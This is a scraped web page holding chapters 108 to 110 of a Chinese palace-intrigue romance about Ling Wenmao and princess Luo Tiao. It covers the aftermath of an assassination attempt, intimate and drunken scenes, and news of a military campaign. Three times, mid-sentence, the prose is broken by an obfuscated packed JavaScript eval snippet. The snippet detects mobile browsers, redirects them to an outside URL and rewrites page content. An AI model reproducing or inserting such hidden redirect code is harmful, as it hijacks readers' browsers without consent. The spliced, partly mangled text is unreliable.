孤独解尚且不知,凌文袤是否受凌晖之命行刺的自己,即便是,只能代表雁鸣山的沈觅已经将独孤解供出,代表凌晖已知独孤解有某位之心,旁的一概说明不了。 或者是蠢笨的凌文袤为了将来的位置,先下手剪除凌承佐的羽翼。 凌晖想要给独孤解定勾结外敌的实罪,实据肯定不能少,单凭沈觅的言辞,乏力到不能让人信服,这么多年独孤解累积的声望,在这一刻便可以发挥。 论篡国,凌晖可是首当其冲,怎好随意给旁人按此罪名,大嵘有声望的不止独孤解一个,老臣虽老,人脉却甚广,届时联合老臣,煽动言论,说凌晖意有铲除声望之辈的心思,到那时,凌晖得不偿失。 独孤解悄无声息直接杀掉凌文袤,才一本万利,轻松剪除凌氏亲自送上门来的势力何乐而不为。 况且凌文袤在玉磐宫消失,最后还能将矛头转向骆苕。 反之,凌氏悄无声息地除掉英国公独孤解,也是一本万利。 行刺这种阴谋,成功时好用,失败时,在阳谋面前不值一提,独孤解应当不惧雁鸣山的沈觅将他供出。 骆苕真意的斥责,让凌文袤正了色,剑走偏锋行刺独孤解,他昨夜从没考虑过失败的后果,他心里只有成功二字,此刻骆苕提及,不免所有思虑。 他快速浴着发,语音穿过缭绕的水烟:“出其不意攻其不备这一招虽险,却是目前最直接有效的,我等不了父亲和凌承佐环环做局去解决独孤解,内务本已繁复冗长,此事上,不想再出新的变数。” 擒贼先擒王,这个道理亘古不变,一旦打掉独孤一族的实际掌事人,独孤氏一族散乱成沙,威力尽失,余下的很易解决。 “我这不是安然回来了?”凌文袤安慰骆苕,“下不为例。” 骆苕吁气,胸腔内的浊气还是难以消散,凌文袤将凶险的过程刻意隐去,呈现在人面前的是个喜果,她不想将关心的话讲的太深,于是提步外去:“我让婢子传话给一青,让他也好好洗漱一番,一会儿你带一青和赤眉一同前往英国公府。” 既然消息传来,行刺独孤解的刺客身负重伤,让昨夜真正行刺的二人,有所必要矫健地出现在英国公府。 凌文袤应了声。 骆苕重返后,速度极快的凌文袤已经沐浴完毕起身,对着烤炉烤发,瞧着靠近的人悠然道:“瞧你一副愁眉不展的模样,是不是凌承佐在你面前说了什么耀武扬威的胡话?” 骆苕安坐旁侧摇头,静滞片刻后只问:“今晚回玉磐宫么?” “回。你在玉磐宫,我岂有不回的理由。”凌文袤果断回应,挑眉道,“你这是吃了昨夜我一宿未归的亏,提早相问呢。” 骆苕说:“你向来说话没个准信,你说回来,那我就等着。” 凌文袤认真地看着人,瞧着眼前人诚意平和,言语轻柔,他话意再深一步:“我立下不可外宣的奇功,想要从大冢宰那要点犒赏都不能,所以,今晚你得犒劳我,听命于我。” 骆苕疲于打趣玩笑,干脆“嗯”了一声。 凌文袤能察觉骆苕弥漫在情绪的落寞,一时无暇见缝插针式的照拂情绪,烤干发后,挽髻正冠,披袍穿履。 “等我回来。” 离开前他留下一句跟昨晚心境完全不一样的相同言语。 骆苕目送人离去,消失在视线之中。 她前去厨堂相看庖官备食,以及熬炖凌文袤从深山里采来的灵芝仙草,厨堂内烟火升腾,香气袅袅,很热闹。 骆苕曾见过凌文袤娴熟地做片面,那时觉得自己不会厨艺,也学不会,在这一刻她想学一学。 从未涉及过的领域一旦用了心,还是能开窍的,且学的不算糟糕,可好景不长,她只对当前的一顿吃食感兴趣,不像庖官禀报的那样,会深入研究菜品,期待下一顿吃食。 用饭后,骆苕去书房,阅书等人归,瞧着书册心思总是外走,时不时又去外面廊下伫立半晌,对着天际发愣。 她想的还是过往,在某一刹她掐断自己不断自省的行为,人过多的自省会将自己逼疯,一直在自我否定的困境里出不来。 从前只在深夜的忧思,从深夜满溢,沾染白日。 她又跑去厨堂,瞧着她们洗涮,在她们接近尾声后悄悄离开。 深夜骆苕等的人风尘仆仆而归,意兴盎然地先吩咐婢女:“让厨堂备食。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128391|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这一日他快马加鞭日夜兼程,饮食一直疏忽,颗粒未进,极饿。 骆苕见他神情愉悦,脸面却罩着一层被寒风打造的冰凉,最后定睛在他泛起血丝的眼眸:“英国公府如何?” 凌文袤是一副混吝不羁的模样,道:“府内呼天抢地,都已经哭上丧了。没怀疑到你夫君身上。”长臂一伸直接将骆苕后腰按在身前,吐了一个字,“饿。” 说得委屈至极。 骆苕宽心,踮脚在他下颌啄去一口,小声道:“先吃些糕点垫垫肚子。” 说完想脱离禁锢,去取糕点,结果被按得很死,不得不再掀起眼皮看人,不算久的对视让骆苕有所不适,被人就那样静静地按着落下眼,也不挣扎。 凌文袤忽略自己从她眼中捕捉到的情绪像没事人一样,放开人说:“今晚我想为你作画,身无寸缕的那种,你就坐靠在温汤池边。” 凌文袤语气得意,骆苕却被惊得失了容色。 堂堂一国长公主,身无寸缕入画作,简直堪比被敌寇掳掠走,凌文袤能如此说,骆苕完全相信他会做到。 还不如将她画做猪首或者驴首,冠上她的名号。 骆苕有些气愤地斜向他,送去两个字:“做梦。” 凌文袤一脸得意:“别忘了方才你答应过的犒劳我。”也不理人,径直迈去案上捡糕点。 “凌文袤,我看你是缺觉缺糊涂了吧,什么馊主意都能出,况且深更半夜的,你不困?” 骆苕跟在凌文袤身后有点着急,也有点过于安分,生怕下一瞬就被凌文袤绑去作画。 “不困,此刻心情大好,不宜入睡,瞧你那模样也睡不着,不如找点事做。”凌文袤将糕点塞入口,说得更不着调,“天下读书人将《春宫图》悬置于书房之中并不少见,我也想添置一幅,不过呢考量了好久,都没有中意的画作,既然都不满意,不如自己放手画一幅,画中人是中意的,画也便中意了。” 骆苕倒吸凉气,确实好些人书房之中会悬置《春宫图》,用《春宫图》来避火,说是聚书多惹火,此物可厌火灾。 此等说法简直荒谬至极,多番沿袭之后就变成读书人名正言顺置买《春宫图》的理由。 骆苕心思飞快流转,抓向凌文袤的带銙,推他坐下,对人嫣然一笑:“就如你所愿,多画几幅。” 简短的言辞再无后话,凌文袤知道骆苕开始反将,不明其后意,眉心一跳,啧了一声,退让转道:“我不打算画《春宫图》,但要换种作画手法。” 骆苕一副悉听尊便的模样。 旁门左道的歪心思,骆苕到底斗不过凌文袤,凌文袤的作画手法在他饱食后得到了印证。 一池温汤边,二人前后相坐,凌文袤提笔在骆苕大空的后背作画,让骆苕猜所画是为何物。 骆苕顶着后背的酥痒忽闪着眼睫视焦虚散,望着一池悠悠晃荡温汤,百无聊赖。 凌文袤作画心无旁骛,快速画完后让骆苕猜测,骆苕不假思索回道:“驴。” 凌文袤低低哼哧两声,入耳的声调变得魅惑深长:“错,再猜。” 109. 一百零九章 “猪。” 骆苕回答的不走心不过脑。 凌文袤望着玉瓷似的皮肤上自己的杰作,莫名哼哧两声,水烟让画作开始晕染,墨色蔓延在肌理之中。 他抽掉骆苕后颈心衣的系带,再次沾墨时一把按住扭动乏力反抗的身躯,自己的前胸几近贴在骆苕的后背,视线从她的肩胛翻过俯视而下。 眸光变得灼烁冒失,所到之处都是他的天地,像阅览独属他的大好河山。 凌文袤咽喉快速滚滑,笔触旋即落在骆苕的腹心脐中,一笔冰凉缓慢的墨迹蜿蜒而上,在激起寒粒的肌肤上以另外一种方式攻城略地。 冰凉的触感迫使骆苕双掌掩胸,扭脸睇着近在咫尺的人,佯忿道:“凌文袤,你老爱捉弄人,我很想在你脸上画只千年王八。” 凌文袤不正经的笑意漾开,顺势俯唇点了她仰起的鼻尖,同时手中的毛笔也点在了她试图遮住旖旎的掌背:“一会儿你爱怎么画就怎么画,等你先猜对我画的是什么。” 也不等骆苕回应就将她倔强的手掌拿掉,一览无余地继续他的画作,脸颊萦绕着火热的气息,冰凉引逗的笔触一同侵蚀着骆苕,骆苕回头前望,后颅枕在了凌文袤的胸膛阖上眼,放弃反抗。 “人呢,不能一直困陷在惯常的思维里面,你我虽提过犟驴和猪,你便只猜犟驴和猪,这可不好。”凌文袤望着笔下紧缩的肌肤发出的轻颤,提醒,“十二属相猜遍就猜着了。” 语气顺着笔触游移缓缓说道,“现在所画是一道锁链,它正在困住你也要捆住我,让你我永世不得分开。” 骆苕只觉笔触在她表皮攀登至脖颈,身体被推离,冰凉的触感在脖颈徐徐绕过一圈,回到方才作画的那一片后背停滞不前,她回身拥进了凌文袤的怀中,准确配合地说出所画:“虎。” 凌文袤属虎,她总是会想起他生龙活虎朝气的模样,方才在她后背勾勒的画作窜入脑中的便是它。 “真聪明。”凌文袤笑着说,“为了想在我脸上画千年王八,我的长公主终于愿意动一动脑袋了。” 骆苕却说:“是你提醒的很到位。” 凌文袤不再言语,丢掉刚画完封印符的毛笔,贴面抱人蹚入温池,怀中人后背张牙舞爪被锁链栓住的猛虎渐渐被淹没,墨迹飘散入温汤。 这时他才极其认真地说:“骆苕,别以为囚你在后宅半步都不得出是句空话,等把你的心愿了结,我会让你心甘情愿,心无杂念做我的女人,出入家宅,也只能你我二人双进双出。” 十里长街锣鼓喧这种容易办到却不合规制的排场,时下不易行,凌文袤盘算着日后补上。 向来清俭的他,从前不会刻意沾染奢侈,遇上骆苕后,只能频繁动用母亲的家底来维持。 维持什么呢? 是骆苕合理的日常用度。 赫连萨朵家底丰厚,当年凌文袤的父亲娶赫连萨朵为继室,也是相中赫连一族背后的钱财,倚靠赫连萨朵所带的丰厚陪嫁,安定将士,风生水起。 凌文袤一旦向赫连萨朵开启伸手要钱的日子,便再也不想收回了,而且还用的心安理得,理直气壮,用在骆苕身上合情合理。 虽说从前,一直深知银钱的重要性,可花在私下,他从未设想过。 至于天下归一,并不属于日常范围,这桩必要了结的心愿,凌文袤铆定,必须作为骆苕的聘礼了结在他的手上。 泡在温水中汲取温热的骆苕含糊地点着头,小声嘟囔:“我想画千年王八。” 在这一刻,凌文袤对于骆苕不直面回应的敷衍腾起恼意,放开人:“自己去拿笔。” 骆苕察觉凌文袤骤然的不悦,她不想破坏他今日的心情,蹚去拿笔,不着痕迹地奉承:“凌文袤,人最大的魅力在于解决事情的能力,昨夜你出奇制胜立下奇功,这就是你的魅力所在,寻常犒赏实在称不上你的魅力,若可行,我定当封你为万户……侯……” 话音未落,正在拂水蹚去拿笔的人,手腕一把被扣住,拖回了凌文袤的身前,霎时,温汤四溅,后仰脑袋的发髻猛烈摇晃。 二人脸颊水光潋滟,目光交错,一人镇定,一人惊慌。 “长公主真是冥顽不灵,我无遗余力地在表心意,你却轻描淡写地想敷衍而过。”镇定的凌文袤压制住心底的恼意,面上带着淡淡的笑,双掌指腹按上骆苕脖颈双侧残留的墨迹,迫使她抬头,柔声道:“看着我。” 骆苕抬眸,视线撞进广阔无垠的眼底,那里面无声地在向她述说不容逃避的心事。 片刻之后,凌文袤吐出长气,缓缓将自己的额头顶上骆苕的额头,声音低沉缱绻又正式:“我的心交给了你,这一辈子便再也收不回了。” 曾经他狂妄自大地想抵抗她的诱惑,但很快发现,放弃反抗才是最佳的选择,他的心不允许自己受到违心的折磨。 他直接吐露真诚,不惨半分虚假,“我很想和你有个家。” 抛却身份,一个完整的家。 骆苕咽喉诡异地收紧,打颤的呼吸出卖她的紧张。 他说的是家么? 不同以往的虚表——宅院和昏礼。 家这个温暖的字很诱人,不断叩击她的心门,撬动高铸的壁垒。 又听见他轻问,“那你呢?你的心在何处?飘荡了那么久,是时候给你的心安个家了。” 长久的等待,回应他的依旧是无声嗡动的唇齿。 几句掏家底似的深情言语让见惯凌文袤油腔滑调的骆苕开始混乱。 凌文袤再次吁气,放下双手,紧绷的肩胛稍稍松懈,额头脱离,迅速恢复一贯不羁的腔调:“骆苕,我凌文袤就是告知你一声,我的心已被你掏走,在你那边被你搓裂揉碎之前你最好好好珍惜。” 骆苕沉浸在怔愣之中,久久难以纾解他循序善进的攻心。 前几月凌文袤说过,他的这副完整的身躯要好好珍惜,现在轮到他的这颗心也得好好珍惜。 凌文袤的真诚,太过直白。 在骆苕的无声中凌文袤自我下定义:“沉默便是代表你知道了。” 接下来他已容不下骆苕的沉默,掐住温汤中的腰,将人擎起,先前无欲的目光沾上出水的芙蓉顷刻间变得肆无忌惮,他眉心跳跃,将一切压制的不满化作身体力行,意味深长道:“既已知道,你得明白什么叫知行合一。” 骆苕惊悸地伸出双手,甲尖不知不觉扣进他肩头。 细密的碰触接踵而至,无拘无束的举止让一池香汤四溢,骆苕神魂抽离,紧锁在咽喉的声音跌跌撞撞冲出牙关。 骆苕扬起脖颈,竟不合时宜地想嗷上一嗓,如同狼呼唤同伴。 她想她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173838|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会失守。 隆冬的玉磐宫,长夜难眠。 二人回寝殿安寝时已经几近天明,凌文袤沾床倒头就阖眼,一动不想动。 外侧倦意袭头的骆苕牵被盖人,想起身下榻熄灯,却发现被禁攥的手掌如何都挣脱不开,听见凌文袤包含幽怨的却神志不清的低囔:“长公主殿下该安寝了,还想去哪?” 骆苕放弃挣脱,唤婢女入内熄灯后,安然窝进被褥,寻了个舒服的姿势背着凌文袤卧下,旁侧还未入睡的人一把将她的被子掀掉,利索扣上她的腰带进他的被子。 黑暗之中的骆苕缓缓眨了眨眼,耳边伴随清浅的呼吸声,不消片刻沉沉睡去。 第二日,日晒三竿二人还没醒来,晌午过后脑袋昏沉的骆苕终于悠悠转醒,脑袋不同寻常的沉重让她察觉自己似乎病了。 也不知昨夜着的凉,还是凌文袤将病气过给了她此时才显现,无其它症状,只是脑袋沉。 整个人没精打采只想窝在床榻。 面对异常的骆苕,凌文袤亲自为她切了几次脉,除了脉象有些沉旁的无恙,医师诊过同样没有定论,只说这个时节当注意保暖,切记不可着凉,等明日再来诊脉。 骆苕脑袋沉了两日,又莫名其妙好了。 凌文袤沉眉望着床榻中的人,开始担忧起骆苕的身子。 骆苕对着凌文袤坦然笑起,目光灵动:“凌文袤,病已痊愈,为何还愁眉不展?”起身轻道,“饿,想吃你亲手做的片面。” 凌文袤伸手捋好她鬓边的碎发,千言万语精简成一个“嗯”字。 厨堂内烟火升腾,凌文袤做面食,骆苕这次不止在他身边转悠,还取柴薪烧火。 负责厨堂事宜的一众宫人,从惊慌失措中回神安定时,凌文袤已经将热气腾腾的片面做完。 骆苕今日的胃口很长进,一碗片面很快见了底,凌文袤怕她病刚愈食多伤身,给她盛的那一碗本就不多。 骆苕意犹未尽,缓缓挨近凌文袤,凑近他的耳朵温言软语似娇似赖:“天太冷,我想喝点小酒。” 凌文袤脸还是正的,眼珠子却已经飘向她的那一侧,他本想拒绝,可又听到骆苕说:“小酌几口,不妨事的,难得见我有嘴馋的时候。” 放在寻常这应该是一个有趣的建议,凌文袤心动在于从那次私定终身的合卺酒之后,他一直想付出行动,奈何一直都没实施。 为何连一顿酒的时间都均不出来? 究其原因,是他们相处的时日太少,碰不上恰当的时机。 “改日。” 凌文袤短暂的迟疑之后,一口回绝。 骆苕不放弃,心性也变得稚嫩,将自己的柔软无骨的手掌送进他的掌中,握紧摇晃,声线起伏撒娇:“就小酌几口……” 说完还噘嘴啄了凌文袤颌下一口。 凌文袤从未遇见过这一面的骆苕,那颗心被她软语缠得抽了一口冷气,转头看人,唇角略抽:“这两日脑袋……” “这已经是两日后,时下脑袋十分活络,嘴也馋。” 骆苕截话,漆亮的眼睛无辜地看着他。 在凌文袤的叹息中,骆苕知道他已经答应了她的要求。 一壶紫菊酒,数碟下酒菜无多时便送入了骆苕所在的外殿。 凌文袤驱赶走伺候宫人,只余二人。 110. 一百一十章 紫菊酒甘甜清香,度数不高,凌文袤饮下两杯尝其味后便不想再饮,目光追随着骆苕观察她的举止。 骆苕举杯晃在意兴阑珊的凌文袤眼前,兴致勃勃:“我觉得紫菊酒比上回的合卺酒好喝。”特意起了身,一手托住执杯手的腕子,将杯中的酒送入凌文袤的口中。 凌文袤很顺从,没有任何回绝的意思。 骆苕对于凌文袤的顺从很满意,放下酒杯,拿起银箸夹了片羊肉自己咬去一半送给凌文袤一半。 看着夹带心事细细咀嚼的人,骆苕冲他悠然一笑,提壶洒脱自饮,原本不多的一壶紫菊酒瞬间见了底。 喝完她也不强求再续一壶,拎着酒壶将最后一滴倾倒在案面后,直接丢掉酒壶,贴面坐上凌文袤的双腿,双手搂上他的脖子,娇俏问道:“你可知我的酒量几何?” 饮过酒的骆苕很有趣,目光清澈跳脱,香腮凝脂,但此时凌文袤感受到的却不是有趣,而是担忧,担忧她絮絮作痛夜不能寐的头疾,却诊不出病因。 “不知。” 凌文袤拇指的粗粝在她脸颊轻划摩挲,回得些许心不在焉。 骆苕斜他一眼,嫌弃盈面:“真扫兴,不过随意一猜你都不愿意猜。”斟酌了一下,比起两根手指说,“这紫菊酒么,大约两壶,所以我现在没醉。” 凌文袤轻轻附和:“没醉,没醉。” 岑寂片刻。 骆苕盘桓在凌文袤脸颊的目光悄然收紧,扬颚广袖一挥,将掌心置于他的颌下,缓缓抬起他的下巴,二人视线猝然猝然相撞,她问:“冯侍卫,我美吗?” 这时的语境和凝在凌文袤眼中的眸色威仪疏远,一如凌文袤未见过她时印象中绶印加身,皇权加持的宁华长公主。 她的美毋容置疑,凌文袤凝视她没有作答。 关于这个问题,骆苕也无需知道答案,她说:“可惜,单调的美貌在权利面前就是一个笑话,即便一个小小的侍卫都可无视天威,愚弄本宫。” 唇角漫出一缕嘲讽,缓道,“冯侍卫可知,你是本宫,纡尊降贵第一个使用美人计的人,只为试试,这副可笑的皮囊,分量究竟几何。本宫予你皮,予你情,不曾想,你这个假冯侍卫贪得无厌,想要谋本宫的骨血,本宫的余生。本宫一早便同凌五郎说过,这些本宫给不了。凌五郎可懂,给不了的意思?” 骆苕收手起身脱离,不去留意凌文袤绷得骇人的面颊:“今日本宫仔细再说一次,本宫不会和凌五郎生儿育女,缔结姻缘,你我世仇,虚与委蛇足矣,何苦再节外生枝繁衍不息,冯侍卫……我一直将你当冯侍卫调风弄月。” 好多年不曾多饮,身体对酒劲失去掌控,在她后退时脑中腾起雾花,脚下一软趔趄还未打出去,柳腰就被一把扣住逮了回去,让骆苕反身坐回他的腿上。 凌文袤没将人拖进坚实温暖的胸膛,两副身躯隔着半臂距离。 短短片刻,他已将骇人的表情消退,对着坐在他腿上的项背道:“骆苕,喝掉大半壶酒,只说了这么几句胡话,未免太浪费行宫的紫菊酒。”旋即提气换上油腔,“长公主殿下方才的气势,卑职爱听,还想听,没听够,趁酒意上头,您再多说点。” 骆苕定神,知道他一贯的作风,未加思索直言相问:“冯侍卫,这是打定主意与本宫双宿双栖?” 冯侍卫,她一直希望他是冯侍卫,那个与凌氏没有血缘关系的假冯侍卫。 凌文袤抚着骆苕的脊骨迅速送她一句:“明知故问。” 骆苕螓首微颔,罗列条件:“想与本宫双宿双栖规矩不多,其一,不得纳妾,纵使本宫无所出;其二,征伐圻国之后,你我归隐山林;其三,若有遗漏,日后再补。” 凌文袤轻哼一声,将这份口头规矩简要轻松概括:“明白,要时时刻刻对夫人言听计从。”对所述的第二条内容,眉心却不动声色的皱起。 让他察觉前日凌承佐一定和骆苕说了什么话,似有让他断去争夺皇位的念想和后路。不过,时下并不合适追问,暂且迁就她,纾解她紧绷意乱的心绪。 骆苕站起回身站立面对凌文袤:“世事无常,你是否觉得,如此儿戏盘算后事过于蠢笨?” 其一断他后,其二阻他谋,简直在诛他的心,他却装作对她说的话不在意。 “夫人精明着呢,待日后为夫还想多听些其三之中的遗漏。” 凌文袤忽略内容,倒是对骆苕管教的语气很受用。 骆苕吁气,兀自笑过一声后步步后退,神情渐渐变得诡秘:“凌宪,方才那些都是本宫的戏言。好男儿,当有凌云之志,那个位置从来都是能者居之,谁都无法挡你前路,至高的权利,永远是一个人最好的佩饰,触手可及的机会就在眼前,不去谋划,那才是真正的蠢笨。” 一字一字顿道,“你,凌宪,凌晖的嫡子,有资格得天下最好的佩饰,他凌承佐那点根基,拿什么与你相争。” 倏然转变到另外一面的骆苕,让凌文袤脊背生凉,视线扫视着眼前人,起身靠近,想要去握住手腕,只见避他后退的人将衣袖背去身后摇头呓语。 她很矛盾,内心深处两道声音不停交错,一道声音说,只要能天下大和,谁来做那个皇帝都无妨,凌家两位儿郎总要有一人退让,按嫡庶长幼,凌文袤退是最合乎情理的。另一道声音也在说,她不该将骆氏皇位拱手相让佞臣,鱼死网破也当殊死一搏,保留骆氏皇族最后的颜面和骨气,现在这局面再下手亦不迟,让他们凌氏兄弟同室操戈正是时候,何不推波助澜一把,骆氏的长公主,应当赋有引起腥风血雨的毒辣手段。 骆苕呓语什么,凌文袤虽然耳听极敏,但还是无法听清,只觉不该让她喝酒,他没再让混乱的人继续后退,一个箭步上前将人打横抱起:“你在害怕什么?又在为何事郁结?纵使我凌宪在这场必争的斗争中落败身死,也已将后果想的明明白白,甘愿承受一切的后果,至于你,我想,你一定有自保的能力不会被我牵连。” 臂弯上的骆苕脑浆像在沸腾,他并不知自己内心所想,使劲将躯壳挣扎着下来,夺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220875|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门而出,奔至暖渠前停下,大口喘气,抬起头静静地看着天际。 印象中明明还是斜阳夕照时分,霎时怎就沦为了暗夜。 点点散落在天际的星辰还未等来它们的月亮。 凌文袤全身血脉闭塞,他在这一刻找不到可用的法子来应对骆苕的无常,他只知她一定受了某种刺激,借由酒劲将那一番纠结矛盾的言语宣泄出来。 骆苕低落地垂下头望着暖渠,问身后的人:“凌文袤,我是不是错了,错不该招惹你,明知你身份后还不知收手,落发为尼还不知安分。” 凌文袤轻声回应她:“想必是错了。”顿了顿说,“错就错了,前路还有更多的错等着你去犯,年轻时犯下的错越多,色弛牙稀之年便有越多的经验传授给你的孙辈。” 舒缓平和的语气使得骆苕唇角轻轻牵动:“孙辈?我跟你的孙辈吗?” “只能是我。”凌文袤昂首感受着天地辽阔,这次他不再照拂骆苕的心内,他的野心已经容不下半分虚假,既然贪念已起,何不贪个彻底,既然错了,何不将错就错一错到底,江山和美人他都要,继而坚定道,“我不会落败身死,如何出手夺位,何时出手,都勿需你劳神。” 抬步朝前把骆苕禁锢进怀抱,不容抵抗的凉薄声音丝丝扣入耳道,“我想,你该好好睡上一觉了。” 情感是把双刃剑,有时能让人催生出不惧生死的欲望,坚信能得到想要的一切,有时又会让人产生畏缩,想要顾全局,而丧失得到一切的机会。 此时的凌文袤,抛除杂念,选择坚信他能得到一切。 骆苕困陷在对孝玄帝骆炜诠的愧疚之中。 夜里睡梦中的骆苕还是会惊乍呓语,凌文袤依然听不清她噩梦中的言语,半夜骆苕醒来,擦干冷汗后才算真正安睡。 在玉磐宫囫囵静养,二人默契的不提政务不提生死,如同寻常夫妻每日入厨堂亲自烹饪饭食,或采雪煮茶对饮,或徒步山林间。 骆苕用极短的时间,调整自身,不让自己无尽地沉沦在过去。 到了第七日,勍州终于等来消息。 慕容霆彦向凌晖要精兵两万,要亲自带兵攻入勍州,缉拿乱党。 到底还是用兵了。 两万精兵,规模不小,凌晖调遣毗邻勍州的州县府兵听候慕容霆彦指挥,凌文袤和凌承佐随军前往。 再过六日就是除夕,慕容霆彦选择这个时候亲自带兵攻入勍州,万众瞩目意义非凡,慕容氏一族成败在此一举。 情志恢复后的骆苕听闻消息,思量片刻对凌文袤寻常道:“带我一同前去,慕容余在勍州耽搁太久,他该回来了,我要同他一起回京。” 她相信自己的舅父慕容霆彦选在年关这个节点用兵勍州,定有谋定之策来堵悠悠众口。 原本打算送骆苕回公主府的凌文袤没说什么,仔细地为她备衣备马,返京随军听命差遣。 这几日二人虽日夜相守,心却始终没有靠得再近一些,似乎都心照不宣地走在各自的路上。